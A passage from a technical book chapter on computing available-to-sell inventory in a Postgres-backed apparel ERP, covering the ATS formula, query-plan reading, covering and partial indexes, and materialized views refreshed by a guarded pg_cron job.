8 Reporting and Computed-State Performance

Every screen in your ERP shows one number that is never stored anywhere: available-to-sell. This chapter teaches you how to compute a number that has to be both instant and never wrong, walks through three architectures for doing it (and when each one breaks), shows you how to find the query that is actually slow instead of guessing, and then covers the other half of reporting: turning your data into PDF invoices, linesheets, and Excel files without melting your server.

What you need to know first

This chapter leans on a handful of ideas, so here they are in plain terms. The whole chapter is about the tension between three of them: queries, indexes, and caches.

A database is a program whose only job is to store data safely and answer questions about it. Ours is Postgres (Supabase is a hosted, batteries-included Postgres). Data lives in tables, which look like spreadsheets: each row is one fact ("we received 40 units of SKU MER-TEE-BLK-M into the New Jersey warehouse"), and each column is one attribute of that fact.

A SKU (stock-keeping unit) is the smallest thing you can actually count and sell: one style, in one color, in one size. MER-TEE-BLK-M is the Meridian Tee, black, medium.

A query is a question you ask the database, written in a language called SQL. The first important idea: a query's speed depends on how many rows the database has to touch, not on how many rows come back. A question with a one-number answer can still be slow if answering it requires reading ten million rows. That sentence explains almost every performance surprise in this chapter.

Postgres reads everything in fixed-size chunks called pages, 8 kilobytes each. It keeps recently used pages in memory, in an area called shared buffers. A page found in memory is a hit and costs microseconds. A page fetched from disk is a read and costs far more. When you later see "Buffers: shared hit=8192 read=53712" in a query plan, that line is telling you how much work stayed in memory and how much hit the disk. It explains more slow queries than any other diagnostic.

Indexes and caches

An index is the database's phone book. Without one, finding every ledger row for one SKU means reading the entire table front to back, like finding everyone named "Nakamura" by reading every page of an unsorted phone book. An index keeps a sorted copy of one or more columns with pointers back to the rows.

Indexes make reads much faster. The price is that every write must update the table and the index, and every index eats memory that could have held table pages. There is no free index, only indexes whose read savings exceed their write tax.

A cache is a saved copy of an answer, kept so you don't have to recompute it. The danger is built into the definition: the moment the underlying data changes, your saved answer is stale, the truth as it used to be. Almost everything here comes down to one question: how stale are you willing to be, and what does it cost to be fresh?

Latency, percentiles, and two ideas from earlier chapters

Two more words. Latency is how long one operation takes. Never quote an average, because averages hide disasters. Quote percentiles: "p95 = 900 ms" means 95 of 100 requests finished within 900 ms and the worst 5 were slower. The p95 is what users complain about, because at twenty page loads an hour everyone hits the bad tail daily.

Two more things from earlier chapters. From chapter 4: inventory is an append-only ledger. We never overwrite "current stock." We store every movement (+40 received, −12 shipped, −1 damaged), and current stock is the sum. From chapter 6: a transaction is an all-or-nothing bundle of changes, either all of them happen or none do. Both are the heroes of this chapter.

ATS: the hardest number in the system

Let's build this number from nothing, the way you would if nobody had named it yet.

A buyer is on the phone with your rep: "I want 60 units of the Meridian Tee, black, medium, delivered to our New Jersey DC, shipping the week of August 10th, and I need to know right now." A DC is a distribution center, the retailer's own warehouse, where your goods land before they reach individual stores. The rep has to say yes or no. What does she actually need to know?

The naive answer is "how many do we have." The ways that's wrong are the entire design of the formula:

1. Having isn't being able to give. 200 units may be in the building with 180 already boxed for another retailer.
2. Not having isn't being unable to give. Zero units today and a container landing August 1st is a yes for an August 10th ship.
3. "We" is not one place. 200 units in California don't help a buyer whose routing guide names New Jersey. (A routing guide is the retailer's rulebook for how and where you must ship. Ignore it and they fine you.)
4. "Now" is not the relevant moment. She's asking about August.

Fix each and you arrive, term by term, at the standard formula. Available-to-sell (ATS) is what you can promise, per SKU, per warehouse, as of a date:

ATS = on-hand − allocated − open orders + inbound (within a window)

Term 1: on-hand

Physical units on the shelf in one warehouse. Nobody stores this number. It is SUM(qty_delta) over the ledger for that (SKU, warehouse). Received 40, shipped 12, damaged 1, returned 3 → 30. Chapter 4 explained why we store movements instead of a running total. The price is that every screen now needs a SUM, which is the problem this chapter exists to solve.

On-hand also includes units already spoken for. The 180 boxed units haven't left the building, so they still count as on-hand. The next term is what takes them back out.

Term 2: allocated

Allocated means specific physical units are assigned to a specific order. A pick ticket exists, the warehouse's instruction sheet telling a worker which items to collect and from where. Somebody will walk to bin A-14-3 and count out 180 tees. Those units are on-hand and untouchable. Allocation is a hard reservation with a physical consequence, and it can never exceed on-hand, because you cannot reserve a thing you don't have. That invariant is worth enforcing in the database, and we will.

Term 3: open orders

Open orders are units on confirmed orders not yet allocated. The retailer signed. Nobody walked to a bin. Beginners ask why this isn't merged with allocated into one "committed" number. Four reasons, all of them things a business asks for:

• Different truth conditions. Allocated is bounded by physical stock. Open orders are not. 5,000 units on order against 0 in the building is a normal preseason position. Merge them and you can no longer write the constraint "allocated ≤ on-hand."
• Different audiences. The warehouse manager asks "how much of my floor is claimed?" (allocated). The sales director asks "how much have we sold but not shipped?" (open orders).
• They move independently. A unit goes open→allocated with no change to the customer's order and no change to on-hand. Merged, that transition is invisible.
• Policy differs. Some wholesalers let a priority account bump an open order but never an allocated one. Only expressible if the two are distinct.

So: allocated is a subset of on-hand. Open orders are a separate liability that may exceed it. Both get subtracted (they are promises already made), but they are not the same kind of thing.

Term 4: inbound, and the window that makes it honest

Inbound is units on open POs that haven't landed yet. A PO is a purchase order: your own order to a factory, the mirror image of the order a retailer places with you. Inbound is qty_expected − qty_received, so a half-received PO contributes only its balance.

Everything turns on the word "window." A PO landing in fourteen months is real, but counting it toward next week is a lie. So we count only POs expected before some horizon. The naive version hardcodes 30 days, which is fine for a grid and wrong for a specific promise. The next section explains why.

The cancel date changes the window

Wholesale apparel orders carry two dates. The ship start date is the earliest the retailer will accept goods. The cancel date is the date after which the retailer refuses the shipment and charges you a late chargeback. A chargeback is money the retailer deducts from your invoice as a penalty. You find out when they pay you less than you billed. Both dates are contractual. A container landing one day past cancel is worthless for that order, because the retailer can legally send it back.

So the inbound window changes with every promise you make. For an August 10th ship with an August 24th cancel, the honest question is "what will be in the building by August 24th, minus warehouse processing time?" A PO expected August 20th counts. August 30th does not, for this order. For an order with a September cancel, that same PO counts.

Warehouse scoping, and the network number that lies

ATS is computed per (SKU, warehouse) because promises are made per warehouse. Freight cost, transit time, and duty all depend on which building goods leave from. 200 units split 200/0 between New Jersey and California is a completely different situation from 100/100.

You'll still be asked for the sum. Merchandisers plan at network level. That number is fine for planning and lethal for promising: a rep who sees network ATS 200 and books 200 out of New Jersey (where 40 sit) has created an oversell no downstream code can fix. Produce both without inviting confusion using GROUPING SETS, which computes several groupings in one pass:

SELECT
  sku_id,
  warehouse_id,
  GROUPING(warehouse_id) = 1 AS is_network_total,
  SUM(on_hand)     AS on_hand,
  SUM(allocated)   AS allocated,
  SUM(open_orders) AS open_orders,
  SUM(inbound)     AS inbound,
  SUM(on_hand - allocated - open_orders + inbound) AS ats
FROM ats_cache
WHERE tenant_id = $1
GROUP BY GROUPING SETS ((sku_id, warehouse_id), (sku_id));

GROUPING SETS ((sku_id, warehouse_id), (sku_id)) asks for two result sets stitched together: one row per SKU per warehouse, plus one row per SKU with warehouses collapsed. In collapsed rows warehouse_id comes back NULL, which is ambiguous on its own. That is why GROUPING(warehouse_id) exists: it returns 1 when the column was rolled up. We turn that into a boolean column, so rows are self-describing and the front end can refuse to let anyone click "add to order" on a total row. The business rule rides in the data instead of a code comment.

What a negative ATS is telling you

Sooner or later ATS returns −340. The instinct is GREATEST(ats, 0). Resist it in the data layer.

Negative ATS means you promised more than you can deliver, which is one of the most important facts your system can produce, and it arises legitimately:

• preseason futures (you sold Spring/Summer 2027 in October against February POs, so every SKU is deeply negative and nothing is wrong).
• a slipped PO (the factory pushes July 1 to August 15 and every July order just went short).
• a write-off (a damaged pallet posts −60 and someone must call a customer today).
• a real oversell bug, which you want loud rather than silently floored.

Store and compute the signed number. Clamp only at the display layer of order entry. Everywhere else show the true sign, and take the report that falls out for free:

-- The "short report": every position we've oversold, worst first.
SELECT
  s.style_number, s.colorway, s.size,
  w.code AS warehouse,
  c.on_hand, c.allocated, c.open_orders, c.inbound, c.ats,
  -c.ats                               AS units_short,
  ROUND(-c.ats * s.wholesale_price, 2) AS revenue_at_risk
FROM ats_cache c
JOIN skus s       ON s.id = c.sku_id
JOIN warehouses w ON w.id = c.warehouse_id
WHERE c.tenant_id = $1
  AND c.ats < 0
ORDER BY revenue_at_risk DESC
LIMIT 100;

We read the cache table from architecture 3, join to skus for human-readable identifiers (a rep knows "MER-TEE / Black / M," not a uuid) and warehouses for the location code, filter to ats < 0, and sort by money, because being 400 units short on a $9 tee matters less than 40 short on a $310 coat. A colorway is one color version of a style, so "Black" and "Bone" are two colorways of the same tee.

LIMIT 100 keeps it fast. If there are more than a hundred oversold positions, the process is your problem, not the list. Thirteen lines of SQL, and the most valuable screen in a wholesale ERP. It exists only because we refused to clamp.

Prepacks: ATS of a thing made of other things

Apparel sells a great many prepacks (size runs, assortments): one sellable line item that is physically a carton with a fixed size ratio, say 2S-3M-3L-2XL, ten units, one SKU on the order.

You cannot store a prepack's ledger balance, because the warehouse stocks components and assembles cartons. A prepack's availability is limited by its scarcest ingredient, like a recipe: 500 smalls, 900 mediums, 900 larges, and 60 XLs builds 30 packs (60 ÷ 2), no matter how many mediums are stacked to the ceiling.

-- prepack_components: prepack_sku_id | component_sku_id | qty_per_pack
SELECT
  pc.prepack_sku_id,
  c.warehouse_id,
  MIN(c.ats / pc.qty_per_pack)                              AS prepack_ats,
  (array_agg(c.sku_id ORDER BY c.ats / pc.qty_per_pack))[1] AS limiting_sku
FROM prepack_components pc
JOIN ats_cache c
  ON c.sku_id = pc.component_sku_id
 AND c.tenant_id = $1
GROUP BY pc.prepack_sku_id, c.warehouse_id;

We join each prepack's component list to per-SKU ATS, so every row is "this prepack, this warehouse, this component, its availability." c.ats / pc.qty_per_pack is integer division when both sides are integers, which is exactly right: 7 mediums at 3 per pack builds 2 packs, not 2.33. MIN(...) picks the bottleneck. array_agg(... ORDER BY ...) collects component SKUs sorted by constraint, so element [1] names the limiting size. That second column turns a report into a decision: "30 packs; XL is stopping you" tells a merchandiser which PO to expedite.

Two caveats. A negative component makes the division negative and MIN returns a negative pack count, which is correct and worth surfacing. And prepack and loose sales draw from the same physical pool, so a prepack sale must decrement the component positions: selling 30 packs writes four open_orders increments at pack multiples. If you ever want an ats_cache row keyed by the prepack SKU, stop. You are about to create a second source of truth for the same shirt.

Future-dated ATS: "what can I promise for August?"

Now the version that answers the buyer's real question. Instead of a scalar we want a curve: the projected balance for each future week. Supply-chain people call it the projected available balance. Reading it, a rep can say "60 the week of August 10th, only 20 the week of August 3rd," a defensible answer instead of a guess.

WITH weeks AS (                       -- 1. a calendar
  SELECT generate_series(
           date_trunc('week', now())::date,
           date_trunc('week', now())::date + interval '25 weeks',
           interval '1 week')::date AS wk
),
opening AS (                          -- 2. on the shelf today
  SELECT COALESCE(SUM(qty_delta), 0) AS qty
  FROM inventory_ledger
  WHERE tenant_id = $1 AND sku_id = $2 AND warehouse_id = $3
),
supply AS (                           -- 3. POs, by landing week
  SELECT date_trunc('week', po.expected_date)::date AS wk,
         SUM(pl.qty_expected - pl.qty_received)     AS qty
  FROM po_lines pl
  JOIN purchase_orders po ON po.id = pl.po_id
  WHERE po.tenant_id = $1 AND pl.sku_id = $2
    AND po.warehouse_id = $3 AND po.status = 'open'
  GROUP BY 1
),
demand AS (                           -- 4. orders, by ship week
  SELECT date_trunc('week', ol.ship_start)::date AS wk,
         SUM(ol.qty_open)                        AS qty
  FROM order_lines ol
  JOIN orders o ON o.id = ol.order_id
  WHERE o.tenant_id = $1 AND ol.sku_id = $2
    AND o.warehouse_id = $3
    AND o.status IN ('confirmed','allocated','picking','packed')
  GROUP BY 1
)
SELECT
  w.wk,
  COALESCE(s.qty, 0) AS arriving,
  COALESCE(d.qty, 0) AS shipping,
  (SELECT qty FROM opening)
    + SUM(COALESCE(s.qty, 0) - COALESCE(d.qty, 0))
        OVER (ORDER BY w.wk ROWS BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW)
    AS projected_balance
FROM weeks w
LEFT JOIN supply s ON s.wk = w.wk
LEFT JOIN demand d ON d.wk = w.wk
ORDER BY w.wk;

Block by block. weeks manufactures rows out of thin air with generate_series. date_trunc('week', now()) snaps today to Monday so all buckets align. We need a generated calendar because supply and demand have gaps: no PO lands in week 7, but week 7 must still appear with a balance. Without it, reports silently skip empty periods and everyone misreads them.

opening sums the whole ledger for this position. supply takes remaining PO quantity by expected week. Note there is no 30-day cutoff, because the curve is the window. We show every horizon and let the reader choose. demand buckets by ship_start, not order date, because inventory is consumed when it leaves. The LEFT JOINs keep quiet weeks alive with zeros.

Now the important part. SUM(x) OVER (ORDER BY w.wk ROWS BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW) is a window function. The whole idea in one sentence: an aggregate with GROUP BY collapses many rows into one, while a window function computes an aggregate across a set of rows but keeps every row. The OVER (...) clause defines which rows this row's calculation may look at.

Read it literally: ORDER BY w.wk puts rows in week order. ROWS BETWEEN UNBOUNDED PRECEDING AND CURRENT ROW says the window is "the first row through this row." So week 9's sum covers weeks 1–9. That's a running total. Add the opening balance and you have projected on-hand at the end of each week.

A rep scans to the week of August 10th: 74 means yes, 12 means no, and the row above says why.

Why this number is the hardest one in the system

1. It touches everything. ATS reads the ledger, orders, order lines, and purchase orders. Receiving a container changes it. Confirming an order changes it. A cycle count (the warehouse physically recounting a bin and correcting the books) changes it. There is no quiet corner of the schema it can ignore.
2. It's on every screen, in bulk. The style grid wants ATS for 5,000 SKUs at once. Order entry wants it per line, live. The linesheet PDF prints it. A linesheet is the sales catalog you hand a buyer, listing every style with its photo, colors, sizes and prices. The nightly EDI feed sends all of it. EDI (electronic data interchange) is the decades-old file format big retailers use to exchange orders, shipping notices and invoices with their vendors automatically. At 200 ms per SKU, a 5,000-SKU grid is a sixteen-and-a-half-minute page load.
3. Being wrong costs money in both directions. Read 60 when the truth is 20 and you're calling a retailer to un-sell them. That is an oversell, and it burns the relationships a wholesale business runs on and triggers chargebacks. Read 20 when the truth is 60 and you declined an order you could have shipped. Everyone worries about the first. The second is silent, so nobody measures it, so it's usually bigger.

Fast usually means caching. Correct usually means not caching. The three architectures below are three truces.

Architecture 1: compute on read

The honest starting point: don't store ATS. When a screen needs it, run the query. Here it is, using a CTE (common table expression), the WITH name AS (...) syntax that lets you name intermediate results like variables:

WITH on_hand AS (
  SELECT sku_id, warehouse_id, SUM(qty_delta) AS qty
  FROM inventory_ledger
  WHERE tenant_id = $1
  GROUP BY sku_id, warehouse_id
),
committed AS (
  SELECT ol.sku_id, o.warehouse_id,
         SUM(ol.qty_open) FILTER (WHERE o.status = 'confirmed')
           AS open_orders,
         SUM(ol.qty_open) FILTER (WHERE o.status IN ('allocated','picking','packed'))
           AS allocated
  FROM order_lines ol
  JOIN orders o ON o.id = ol.order_id
  WHERE o.tenant_id = $1
    AND o.status IN ('confirmed','allocated','picking','packed')
  GROUP BY ol.sku_id, o.warehouse_id
),
inbound AS (
  SELECT pl.sku_id, po.warehouse_id,
         SUM(pl.qty_expected - pl.qty_received) AS qty
  FROM po_lines pl
  JOIN purchase_orders po ON po.id = pl.po_id
  WHERE po.tenant_id = $1
    AND po.status = 'open'
    AND po.expected_date <= now() + interval '30 days'
  GROUP BY pl.sku_id, po.warehouse_id
)
SELECT
  oh.sku_id, oh.warehouse_id,
  oh.qty                     AS on_hand,
  COALESCE(c.allocated, 0)   AS allocated,
  COALESCE(c.open_orders, 0) AS open_orders,
  COALESCE(ib.qty, 0)        AS inbound,
  oh.qty - COALESCE(c.allocated, 0)
         - COALESCE(c.open_orders, 0)
         + COALESCE(ib.qty, 0) AS ats
FROM on_hand oh
LEFT JOIN committed c USING (sku_id, warehouse_id)
LEFT JOIN inbound  ib USING (sku_id, warehouse_id);

Walking through it:

• on_hand: in the ledger, for this tenant, meaning one customer company in our multi-tenant system ($1 is a placeholder your app fills in), group by SKU and warehouse and sum the movements. This is the chapter-4 ledger doing its job.
• committed: join order lines to their parent orders (a join matches rows from two tables on a shared key). SUM(...) FILTER (WHERE ...) computes two different sums in one pass: one counting only confirmed orders, one counting orders already in pick/pack. Older code writes SUM(CASE WHEN … THEN qty ELSE 0 END), which is the same thing, noisier.
• inbound: what's still expected on each open PO (qty_expected − qty_received), limited to the 30-day window, the simplification discussed above.
• The final SELECT stitches them together. LEFT JOIN keeps every on-hand row even with no matching orders. COALESCE(x, 0) substitutes 0 for missing values. That matters more than it looks: in JavaScript null - 5 is -5, but in SQL NULL - 5 is NULL, and it propagates through the whole expression. One missing join match turns your entire ATS column into blanks. COALESCE everywhere isn't paranoia, it's the language's rules.

One structural flaw worth naming: driving off on_hand means a SKU that has never had a ledger movement won't appear at all, even with 900 units inbound. For a preseason style that's every SKU. In production the outermost driver should be the full set of (SKU, warehouse) pairs you care about. Architecture 3 fixes this properly.

The advantage of this architecture is that it is always correct. There is no cache, so nothing goes stale. But "correct" and "fast enough" are different claims, and to check the second we stop guessing and look.

Reading a query plan, node by node

Before running a query, Postgres builds a plan: a tree of small operations that produce your answer. EXPLAIN shows the tree. EXPLAIN ANALYZE runs the query and annotates it with real timings. EXPLAIN (ANALYZE, BUFFERS) adds memory-vs-disk accounting, and that's the one to type.

Here is the on-hand rollup for one tenant with 8.2 million ledger rows of its own, in a table holding 22.1 million rows across all tenants, with no index beyond the primary key:

EXPLAIN (ANALYZE, BUFFERS)
SELECT sku_id, warehouse_id, SUM(qty_delta)
FROM inventory_ledger
WHERE tenant_id = 'a3f1c0de-0000-4000-8000-000000000001'
GROUP BY sku_id, warehouse_id;

 Finalize GroupAggregate  (cost=1042318.44..1043901.02 rows=19812 width=44)
                      (actual time=5981.117..6402.883 rows=19643 loops=1)
   Group Key: sku_id, warehouse_id
   Buffers: shared hit=1284 read=141902
   ->  Gather Merge  (cost=1042318.44..1043505.78 rows=16510 width=44)
                     (actual time=5981.092..6371.440 rows=48122 loops=1)
         Workers Planned: 2
         Workers Launched: 2
         ->  Sort  (cost=1041318.41..1041359.69 rows=16510 width=44)
                   (actual time=5952.006..5979.331 rows=16041 loops=3)
               Sort Key: sku_id, warehouse_id
               Sort Method: quicksort  Memory: 1893kB
               ->  Partial HashAggregate
                       (cost=1039982.11..1040147.21 rows=16510 width=44)
                       (actual time=5834.771..5901.552 rows=16041 loops=3)
                     Group Key: sku_id, warehouse_id
                     Batches: 1  Memory Usage: 2833kB
                     ->  Parallel Seq Scan on inventory_ledger
                         (cost=0.00..1022851.00 rows=3426222 width=40)
                         (actual time=0.031..4188.602 rows=2741009 loops=3)
                           Filter: (tenant_id = 'a3f1c0de-...'::uuid)
                           Rows Removed by Filter: 4626324
                           Buffers: shared hit=1284 read=141902
 Planning Time: 0.214 ms
 Execution Time: 6410.552 ms

Four reading rules make this simple.

1. Read inside out, bottom to top. The most-indented node runs first and feeds its parent. Data flows upward from the Parallel Seq Scan to the Finalize GroupAggregate.

2. Every node has two number pairs, and only one is real. cost=1042318.44..1043901.02 is the planner's estimate in arbitrary units: the first number is cost to produce the first row, the second is all rows. Ignore the absolute values, which exist so the planner can compare candidate plans. actual time=5981.117..6402.883 is real milliseconds, same first/last structure.

3. rows= appears twice and the comparison is the whole game. Estimated 19,812 versus actual 19,643 is a good estimate. Estimated 12 versus actual 840,000 is your bug: the planner chose a strategy that only makes sense for 12 rows and then got buried. Fix bad estimates with ANALYZE, a higher statistics target, or CREATE STATISTICS for correlated columns.

4. Multiply by loops. loops=3 means the node ran three times (once per parallel worker) and the time shown is the average per loop. Beginners chronically under-read this on nested loops, where loops=50000 turns a harmless 0.8 ms into 40 seconds.

Node types, joins, and buffers

Six node types you'll meet constantly:

• Seq Scan: read the whole table front to back and discard non-matching rows. Not automatically bad: if you need most of the table, marching through it in physical order is optimal. Catastrophic when you needed 47 rows out of 22 million. Rows Removed by Filter: 4626324 per worker (13.9M total) is the smoking gun here.
• Index Scan: use the index to find row locations, then fetch each row from the table.
• Index Only Scan: everything needed is already in the index, so the table is never touched. Heap Fetches: 0 confirms it. The fastest read shape in Postgres, and what we're going to engineer for.
• Bitmap Heap Scan: the in-between. Collect matching row locations into a bitmap, sort by physical page, read each page once in disk order. Chosen when you want too many rows for repeated lookups and too few to read everything.
• HashAggregate: build an in-memory hash table keyed by the GROUP BY columns. Needs memory proportional to the number of groups. Batches: 1 means it fit in work_mem, the per-operation memory budget Postgres allows before it starts writing scratch data to disk. Batches: 5 means it spilled.
• GroupAggregate: the same job when input is already sorted: walk the rows and emit a total when the key changes. Constant memory. This is why an index that delivers pre-sorted rows is worth so much.

And two join strategies, where most report queries live or die. Hash Join: build a hash table from the smaller input, then stream the larger one through it, probing. Each side is read once, which makes it the workhorse for joining two big sets. If the Hash node shows Batches: 8 it spilled and wants more work_mem.

Nested Loop: for every row on the left, do a lookup on the right. Wonderful when the left is tiny and the right is indexed, ruinous when the planner thought the left was tiny and it's 200,000 rows. When a query suddenly takes 90 seconds instead of 90 milliseconds after a data-volume change, a Nested Loop with a blown estimate is the first suspect.

And Buffers: shared hit=1284 read=141902 means 1,284 pages were in memory and 141,902 came from disk, about 1.1 gigabytes of I/O to answer one question about one tenant. Multiply by twenty reps refreshing a grid and you see the problem without knowing anything about databases.

The index set that fixes it

-- Covering index: the phone book for ledger sums.
CREATE INDEX idx_ledger_tenant_sku_wh
  ON inventory_ledger (tenant_id, sku_id, warehouse_id)
  INCLUDE (qty_delta);

-- Partial index: a phone book listing only live orders.
CREATE INDEX idx_orders_open
  ON orders (tenant_id, warehouse_id)
  WHERE status IN ('confirmed','allocated','picking','packed');

CREATE INDEX idx_order_lines_order_sku
  ON order_lines (order_id, sku_id) INCLUDE (qty_open);

CREATE INDEX idx_po_open_expected
  ON purchase_orders (tenant_id, expected_date, warehouse_id)
  WHERE status = 'open';

CREATE INDEX idx_po_lines_po_sku
  ON po_lines (po_id, sku_id) INCLUDE (qty_expected, qty_received);

Column order matters: equality columns first. A multi-column index is sorted by the first column, then the second within it, like a phone book by last name then first name. "Everyone named Nakamura" is instant, "Nakamura, Yuki" is instant, "everyone named Yuki" is useless.

So (tenant_id, sku_id, warehouse_id) serves filters on tenant, tenant+SKU, or all three, and does nothing for warehouse_id alone. Since every query in a multi-tenant app filters by tenant (chapter 9's row-level security, or RLS, guarantees it: RLS is the Postgres feature that attaches a mandatory "you may only see your own rows" filter to a table), tenant_id goes first in nearly every index you build.

INCLUDE (qty_delta) makes it covering. The included column rides in the index's leaf pages without being part of the sort key, so SUM(qty_delta) is computable from the index alone. Putting it in the key instead would make the index bigger for no benefit, since you never search or sort by quantity.

The WHERE clause makes it partial. idx_orders_open holds only live-status rows. Shipped, invoiced, and canceled orders (the large majority of the table after a couple of seasons) aren't in the phone book at all, so it stays permanently small. The catch: Postgres uses a partial index only if it can prove your query's WHERE implies the index's. status IN ('confirmed','allocated','picking','packed') matches. status <> 'cancelled' does not, and you'll get a sequential scan with no explanation. Partial indexes are precise instruments. The query has to say the magic words.

The same rollup after building the covering index:

 GroupAggregate  (cost=0.56..311492.18 rows=19812 width=44)
                 (actual time=0.079..1884.221 rows=19643 loops=1)
   Group Key: sku_id, warehouse_id
   Buffers: shared hit=8192 read=53712
   ->  Index Only Scan using idx_ledger_tenant_sku_wh on inventory_ledger
           (cost=0.56..228262.85 rows=8223027 width=40)
           (actual time=0.061..1002.447 rows=8223027 loops=1)
         Index Cond: (tenant_id = 'a3f1c0de-...'::uuid)
         Heap Fetches: 0
 Planning Time: 0.211 ms
 Execution Time: 1889.107 ms

The Parallel Seq Scan became an Index Only Scan. Heap Fetches: 0 proves the table was never opened. Buffers dropped from 143,186 to 61,904 (roughly 480 MB instead of 1.1 GB) because we're reading a compact index and no other tenant's data is in the way. The HashAggregate became a GroupAggregate, since the index delivers rows pre-sorted, so the sort and the parallel merge vanished. 6,410 ms → 1,889 ms, a 3.4× win from one index.

And now the honest part. 1,889 ms is still terrible, and no further index fixes it, because the query asks to touch 8,223,027 index entries. No data structure sums eight million numbers in two milliseconds. That rows=8223027 is the work. Indexes make it fast to find few rows among many. They do nothing about a question whose honest answer requires all the rows.

Contrast the single-SKU version, the same query with two more WHERE conditions:

 Aggregate  (cost=4.89..4.90 rows=1 width=8)
            (actual time=0.038..0.039 rows=1 loops=1)
   Buffers: shared hit=4
   ->  Index Only Scan using idx_ledger_tenant_sku_wh on inventory_ledger
           (cost=0.56..4.78 rows=44 width=4)
           (actual time=0.019..0.028 rows=47 loops=1)
         Index Cond: ((tenant_id = 'a3f1c0de-...'::uuid)
                  AND (sku_id = '7c2e...'::uuid)
                  AND (warehouse_id = 'e91a...'::uuid))
         Heap Fetches: 0
 Execution Time: 0.061 ms

Four buffers, 47 rows, 61 microseconds. Same table, same index, 31,000× faster, because we asked a narrow question. That is the shape of the whole problem: compute-on-read is superb for depth and hopeless for breadth.

Honest numbers: where it falls over

Measured on a Supabase Medium compute instance (2-core shared CPU, 4 GB RAM, the tier sizes as of July 2026), warm cache, running the full four-CTE query:

The jump between the last two rows is the lesson. The query still does exactly the same work. The machine underneath it ran out of capacity. Twenty concurrent full-grid queries on two cores means roughly 20 CPU-seconds of demand per second on a machine supplying 2. Requests queue.

Each query pulls 480 MB through shared buffers, evicting the small hot pages order entry depends on, so the 0.4 ms lookup becomes 12 ms because it now hits disk. Your money path degrades 30× because someone opened a report. Nothing in the code is wrong. The architecture ran out.

The concrete story every ERP team lives once. Market week is the few days each season when buyers travel to your showroom and write most of the year's orders in person. It is the single busiest period your software will ever see.

Mid-market-week, reps in a New York showroom with buyers physically in the room, the grid takes six seconds and then times out at the load balancer's 30-second limit, and order entry takes eight seconds a line. Scaling the database up helps for about forty minutes, because the load grows with users × history and market week only gets busier. That's the moment you graduate.

Note what the table does not say. Rows one and two say compute-on-read is right for the two most common queries in your app, and will still be right in year ten. It also stays in the codebase forever as the definition of truth: architecture 3's audit job runs this exact query. You keep it and narrow its job.

Architecture 2: the materialized view

First, a view: a saved query you can treat like a table. A plain view stores nothing. Querying it just runs the underlying query. A materialized view is the interesting one: Postgres runs the query once and stores the result rows on disk. Querying it is as fast as querying a small table, because that's literally what it is. It's a cache with an official job title.

CREATE MATERIALIZED VIEW ats_mv AS
  SELECT tenant_id, sku_id, warehouse_id,
         on_hand, allocated, open_orders, inbound, ats
  FROM ( /* ... same CTEs as architecture 1, grouped by tenant too ... */ ) t;

-- Required for CONCURRENTLY: a unique index on plain columns,
-- covering every row (no WHERE clause, no expressions).
CREATE UNIQUE INDEX ats_mv_pk
  ON ats_mv (tenant_id, sku_id, warehouse_id);

-- Later, on a schedule:
REFRESH MATERIALIZED VIEW CONCURRENTLY ats_mv;

CREATE MATERIALIZED VIEW runs our query and freezes the answer to disk. The stored copy never updates itself: insert ten thousand ledger rows and it keeps serving yesterday's numbers until told otherwise. You recompute it with REFRESH, and the details matter.

• A plain REFRESH locks readers out. The docs say it "could block other connections which are trying to read from the materialized view." Every ATS screen hangs for the duration.
• CONCURRENTLY avoids that, refreshing "without locking out concurrent selects."
• It has three hard preconditions. Quoting the docs, it "is only allowed if there is at least one UNIQUE index on the materialized view which uses only column names and includes all rows; that is, it must not be an expression index or include a WHERE clause." It "can only be used when the materialized view is already populated." And "only one REFRESH at a time may run against any one materialized view."
• It's often slower. The docs note it "may be faster in cases where a small number of rows are affected," and that a plain refresh "will tend to use fewer resources and complete more quickly" when a lot of rows change. The mechanism explains why: CONCURRENTLY computes the new result into a temporary table, diffs it against the stored copy, then applies the deletes and inserts row by row. All the work of a plain refresh, plus a comparison, plus that row-by-row write traffic.

That's what ats_mv_pk is for: "unique on plain column names covering all rows" is Postgres demanding a stable identity per row, because identity is what the diff matches on. Two production consequences follow.

The delete/insert churn creates dead tuples (old row versions that are no longer visible but still occupy space), which VACUUM, the background cleanup process, has to reclaim. Refresh a large view every minute and if autovacuum can't keep pace, your "small fast table" bloats to several times its logical size. And every refresh needs disk and memory for the temporary result, so peak usage is roughly double the view's size, once per interval.

Scheduling it without shooting yourself

CREATE EXTENSION IF NOT EXISTS pg_cron;

SELECT cron.schedule('refresh-ats-mv', '* * * * *',
                     $$ SELECT refresh_ats_mv_guarded(); $$);

CREATE OR REPLACE FUNCTION refresh_ats_mv_guarded() RETURNS void
LANGUAGE plpgsql AS $$
BEGIN
  IF pg_try_advisory_lock(hashtext('refresh_ats_mv')) THEN
    BEGIN
      REFRESH MATERIALIZED VIEW CONCURRENTLY ats_mv;
    EXCEPTION WHEN OTHERS THEN
      PERFORM pg_advisory_unlock(hashtext('refresh_ats_mv'));
      RAISE;
    END;
    PERFORM pg_advisory_unlock(hashtext('refresh_ats_mv'));
  ELSE
    RAISE NOTICE 'refresh already running; skipping this tick';
  END IF;
END;
$$;

pg_cron is a Postgres extension (available on Supabase) that runs SQL on a schedule from inside the database. The guard exists because refresh duration grows with your data and the cron interval doesn't.

On day one the refresh takes 3 seconds and a one-minute schedule is comfortable. Eighteen months later it takes 71 seconds, and cron fires a second refresh while the first runs. Postgres allows only one refresh per view, so the second blocks, holding a connection. A minute later a third arrives. Within an hour you have sixty stuck sessions, an exhausted connection pool, and a down application, all caused by a job that "just refreshes a cache."

An advisory lock is a lock on a number of your choosing that means whatever you decide. Postgres only guarantees one session holds it. pg_try_advisory_lock is the non-blocking form: true if it got the lock, false immediately otherwise. So a tick arriving mid-refresh logs a notice and does nothing. The EXCEPTION block releases the lock if the refresh throws and re-raises. Without it, one failure leaves the lock held and permanently disables the job. Every scheduled long-running task needs this pattern.

The staleness window, computed exactly

Call the cron interval I and the refresh duration D. A write landing just after a snapshot is taken won't appear until the next refresh finishes. So best case is ~0 seconds, worst case is I + D, and average is I/2 + D.

With a 60-second interval and an 8-second refresh: 38 seconds stale on average, 68 seconds worst case. Tighten to a 10-second interval and you get 13 s / 18 s, but you're running an 8-second query every 10 seconds, permanently spending 80% of a CPU core on refreshing plus vacuum load, and the moment D exceeds I the guard starts skipping ticks and your real interval silently doubles. No setting of I makes the window zero. The window is inherent to the architecture. Tuning shrinks it and never removes it.

Where materialized views do belong

